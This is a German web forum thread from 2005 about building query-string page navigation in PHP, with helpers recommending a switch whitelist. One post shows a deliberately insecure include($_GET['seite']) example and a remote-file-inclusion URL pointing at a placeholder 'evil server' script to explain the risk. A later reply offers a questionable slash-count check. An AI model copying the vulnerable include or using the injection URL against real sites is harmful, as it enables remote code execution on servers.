 |
| Hinweise |
Willkommen im TP-Hilfe-Forum!Dies ist ein Forum zu den Themen Photoshop, Dreamweaver, Flash, Selbständigkeit und mehr, in dem Du Hilfe, Anleitung oder eine Lösung zu Deinen Problemen erhältst. Aktuell bist Du in unseren Foren als Gast mit reinen Leserechten unterwegs. Wenn Du Dich registrierst, kannst Du eigene Themen verfassen, Deine Frage stellen und privat mit anderen TPlern kommunizieren. Weitere Foren werden zugänglich, und Du wirst – falls gewünscht – per Mail über neue Beiträge informiert. Die Registrierung ist schnell und kostenlos. Sollten bei der Registrierung Fragen auftauchen, reicht ein Klick in unsere Hilfe - Häufig gestellte Fragen oder eine kurze Mitteilung an das Support-Team. Viel Spaß bei Traum-Projekt.com |
09.02.2005, 14:44
|
#1
|
|
TP-Junior
Registriert seit: Feb 2005
|
index.php?=start - Lange gesucht, nichts gefunden - Experten gesucht :-)
Guten Tag zusammen,
also ich bin das neue Mitglied hier und habe ein Problem. Ich weiß nicht mehr wie ich das gemacht hatte damals aber ich möchte die Funktion wieder haben. Leider finde ich den Codeschnipsel nicht mehr auf meinen CDs
Es geht ja darum dass man statt normal start.php einfach index.php?=start verwenden kann oder so ähnlich. Dazu muss ich doch in die Index Datei einen Code-Schnipsel stecken und dann in jede andere Datei mit dem gewünschten Namen wie: Start oder Seite2, Seite3.
Tja aber wie mache ich das nur? Ich habe jetzt schon den ganzen Tag wieder gesucht in den Foren und Databases, aber nicht wirklich das gefunden nach was ich suche.
Hier mein teilweise richtiger Code mal
In die Hauptdatei:
<?php
$path = 'includes/';
$extension = '.inc';
include($index);
}
?>
---------------
In jede andere Datei:
<?php
$start;
?>
---------------
Beim ersten oben mault er rum wegen dem Pfad bzw. den Ordner, und beim zweiten das geht ja somit noch nicht. Wobei das wahrscheinlich auch nicht richtig geschrieben wurde. Fehlt etwas oder was weiß ich. Ist schon lange her wo ich damit noch rumgesielt habe.
Bin für jede Hilfe dankbar !
|
|
|
09.02.2005, 14:55
|
#2
|
|
Guest
Registriert seit: Aug 2002
|
Du meinst wahrscheinlich so eine Weiche:
PHP-Code:
switch ($_GET['seite'])
{
case 'start':
include('start.php');
break;
case 'impressum':
include('impressum.php');
break;
default:
include('404.php');
break;
}
Aufruf mit xxx.php?seite=start, xxx.php?seite=impressum...
|
|
|
09.02.2005, 15:02
|
#3
|
|
TP-Junior
Registriert seit: Feb 2005
|
Jain. Eine Weiche war das gar nichtmal. Ich hab nur was in der Index gehabt und dann in allen anderen Dateien.
In der Navigation hab ich dann alles eben so verlinkt: index.php?=start oder index.php?=tipps
Ich weiß nicht in wie fern eine Weiche gut sein soll. Sowas habe ich leider noch nie gebraucht
-----------
EDIT:
Habs aber verstanden 
Aufruf mit: http://www.web-jumber.de/index.php?BEEPWARE-ID=start funktioniert auch.
Thank you very much 
Geändert von Twisted Pair (09.02.2005 um 15:26 Uhr).
|
|
|
09.02.2005, 16:14
|
#4
|
|
Guest
Registriert seit: Aug 2002
|
Mit deiner Version kann man auf jede Datei zugreifen (auch von anderen Servern), das stellt ein Risiko dar, weil es dann auch durch PHP geparst wird.
|
|
|
09.02.2005, 16:22
|
#5
|
|
TP-Junior
Registriert seit: Feb 2005
|
Ahso, das wäre nich so toll. Auf jedenfall Danke Dir. 
Sag mal, stimmt Deine ICQ-Nummer? Hab Dich mal vorsichtshalber hinzugefügt in meine Liste *g
Klappt soweit ganz gut mit dem Switch. Aber ist es jetzt noch möglich dass wenn man www.web-jumber.de eingibt auch auf start gezwungen wird. So dass man am Anfang nicht das index.php?= eingeben muss. Ich hab das irgendwo heute schonmal gelesen. Frägt sich nur wo *gg
Irgendwas mit start.php Zwang wenn es keine andere Seite gibt oder sowas.
-------
EDIT: mmh ja, bin ein schnell checker heut. habs schon  Default umschreiben als start statt 404.php  Sorry
Geändert von Twisted Pair (09.02.2005 um 16:27 Uhr).
|
|
|
09.02.2005, 17:15
|
#6
|
|
TP-Moderator
Registriert seit: Jan 2004
Ort: Bayern, Regensburg
|
Du kannst ja noch eine Codeschnipsel einfügen, das wenn keine Variable per GET übergeben wird, das dann immer auf die Startseite gesprungen wird.
Etwa so was:
PHP-Code:
if(!isset($_GET['seite']))
{
include('deineStartseite.php');
}
|
|
|
09.02.2005, 18:35
|
#7
|
|
TP-Specialist
Registriert seit: Nov 2004
Ort: Die Insel in Europa die aus Europa erst Europa macht _________________________ Nähe Lenzburg
|
auch damit kann man jede beliebige Seite aufrufen!
Ich prüfe auch noch zusätzlich, dass keine / im Namen sind und habe alle include-Seiten in einem eigenen Ordner und nur aus diesem wird includet.
__________________
[321 Name="Joe"]
wie immer, lieber gleich mit notepad, dem Editor meines Vertrauens
[/321]
use my HTML-Tester
Motto'06: Mut zur deutschen Sprache!
|
|
|
09.02.2005, 18:46
|
#8
|
|
TP-Moderator
Registriert seit: Jan 2005
Ort: Düsseldorf
|
Du kannst ja relativ einfach testen, ob die Datei bei dir existiert, und nicht irgendwas anderes repräsentiert, hatten wir vor ein paar Tagen auch schon mal wieder:
http://www.traum-projekt.com/forum/s...ad.php?t=59591
Aber so ist es sehr unsicher.
So long,
skipperjan
__________________
Chenaski - Klamotten designed by Pete
USE - nicht immer nur mit Stars and Stripes rumlaufen!
Hunde in der Großstadt: Guck mal wo ich fast reingetreten bin.....
|
|
|
09.02.2005, 19:02
|
#9
|
|
TP-Specialist
Registriert seit: Nov 2004
Ort: Die Insel in Europa die aus Europa erst Europa macht _________________________ Nähe Lenzburg
|
Dadurch dass ich nur aus dem einen Ordner include, kann nichts fremdes oder falsches mehr reingezogen werden.
__________________
[321 Name="Joe"]
wie immer, lieber gleich mit notepad, dem Editor meines Vertrauens
[/321]
use my HTML-Tester
Motto'06: Mut zur deutschen Sprache!
|
|
|
09.02.2005, 19:21
|
#10
|
|
TP-Junior
Registriert seit: Feb 2005
|
Ich habs jetzt auch so gemacht aus dem Ordner includes alles genommen.
<?php
switch ($_GET['BEEPWARE-ID'])
{
// Allgemein
default:
include('includes/start.php');
break;
case 'ueber_uns':
include('includes/ueber_uns.php');
break;
case 'downloads':
include('includes/downloads.php');
break;
case 'impressum':
include('includes/impressum.php');
break;
Funktioniert einwandfrei 
|
|
|
09.02.2005, 20:08
|
#11
|
|
TP-Moderator
Registriert seit: Jan 2004
Ort: Bayern, Regensburg
|
Kann mir das jemand noch mal erklären warum das unsicher ist, und man damit eine beliebige Seite aufrufen kann?
PHP-Code:
if(!isset($_GET['seite']))
{
include('deineStartseite.php');
}
|
|
|
09.02.2005, 20:14
|
#12
|
|
TP-Specialist
Registriert seit: Nov 2004
Ort: Ich komme aus dem Zauberwald
|
@walter999:
An den von dir gerade geposteten Code ist nichts unsicher. Unsicher wäre z.b.:
PHP-Code:
if( isset($_GET['seite']) )
include($_GET['seite' . '.php');
Weil du so einen Angreifer die Möglichkeit gibst, fremde .php Dateien einzubinden.
http://deinserver.de/index.php?seite=http://boeserserver.de/boesesPhpSkript
Und schon würde dein Server meine boese PHP Datei inkludieren, und schon stehen dem Angreifer sämtliche Möglichkeiten, die PHP bietet, zur Verfügung. Dank shell_exec generell alles.
__________________
Zwei Dinge sind Unbestreitbar:- In einem Land, in dem Amerika Krieg führt, herrscht nachher Demokratie.
- Die Erde ist eine Scheibe!
Aktuelle Abendlektüre: Stephen King, Peter Strauch: Das schwarze Haus (Black House, 2001)
Aktuelle Bewertung: Abgesehen davon, dass der Roman mal wieder demonstriert, dass der Author geistesgestört ist, sehr träge; wenig Spannung; schlechter Erzählstil. King halt^^!
|
|
|
09.02.2005, 20:20
|
#13
|
|
TP-Moderator
Registriert seit: Jan 2005
Ort: Düsseldorf
|
Dito!
wenn deine Abfrage also nur statische Auswirkungen hat weil fest verdrahtet, dann ist das wurscht. Normalerweise werden solche Konstrukte gerne zur dynamischen Navigation genutzt, und dann wäre das von Dennis gepostete BSP fatal.
So long,
skip
__________________
Chenaski - Klamotten designed by Pete
USE - nicht immer nur mit Stars and Stripes rumlaufen!
Hunde in der Großstadt: Guck mal wo ich fast reingetreten bin.....
|
|
|
09.02.2005, 22:48
|
#14
|
|
TP-Moderator
Registriert seit: Jan 2004
Ort: Bayern, Regensburg
|
Danke ihr zwei.
Ich zwifelte schon an mir.
Dachte schon das mein Beispiel ja kein Einbinden fremder Dateien gestattet. Die andere unsichere Lösung habe ich schon verstanden.
Schönen Abend!
|
|
|
09.02.2005, 23:50
|
#15
|
|
TP-Moderator
Registriert seit: Jun 2004
Ort: Hannover
|
Mal eine Frage:
PHP-Code:
if (substr_count($_GET[action], "/") == 0) include("$_GET[action].inc.php");
Wäre doch auch sicher? Sobald jemand irgendeine URL dort übergeben würde, wäre die Bedingung nicht mehr erfüllt und nichts includet, oder?
|
|
|
|
Aktive Benutzer in diesem Thema: 1 (Registrierte Benutzer: 0, Gäste: 1)
|
|
|
| Themen-Optionen |
Thema durchsuchen |
|
|
|
| Thema bewerten |
|
|
Forumregeln
|
Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.
HTML-Code ist aus.
|
|
|
Alle Zeitangaben in WEZ +2. Es ist jetzt 07:11 Uhr.
|
 |